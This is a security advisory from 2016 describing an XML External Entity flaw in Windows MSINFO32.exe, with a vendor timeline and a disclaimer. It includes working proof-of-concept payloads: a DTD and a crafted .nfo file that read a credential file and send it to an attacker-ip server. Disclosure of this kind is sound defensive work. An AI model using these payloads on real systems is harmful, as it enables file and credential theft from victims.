[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt [+] ISR: ApparitionSec Vendor: ================= www.microsoft.com Product: ========================== Windows System Information MSINFO32.exe v6.1.7601 Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system components, and software environment. Parameters FileName : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack which can potentially allow remote attackers to gain access to and exfiltrate files from the victims computer if they open a malicious ".nfo" file via remote share / USB etc. Upon open the file user will see error message like "System Information is unable to open this .nfo file. The file might be corrupt etc.. Tested Windows 7 SP1 Exploit code(s): =============== Access and exfiltrate Windows "msdfmap.ini" file as trivial POC. This file contains credentials for MS ADO Remote Data Services. 1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd) 2) "payload.dtd" <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>"> %all; 3) "FindMeThatBiatch.nfo" (corrupt .NFO file) <?xml version="1.0"?> <!DOCTYPE HYP3RLINX [ <!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini"> <!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd";> %dtd;]> <pwn>&send;</pwn> Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32 opens... attacker gets files. OR open via Windows CL: c:\>msinfo32 \\REMOTE-SHARE\FindMeThatBiatch.nfo Disclosure Timeline: ====================================== Vendor Notification: September 4, 2016 Vendor Reply "not meet the bar for security servicing": September 7, 2016 December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx
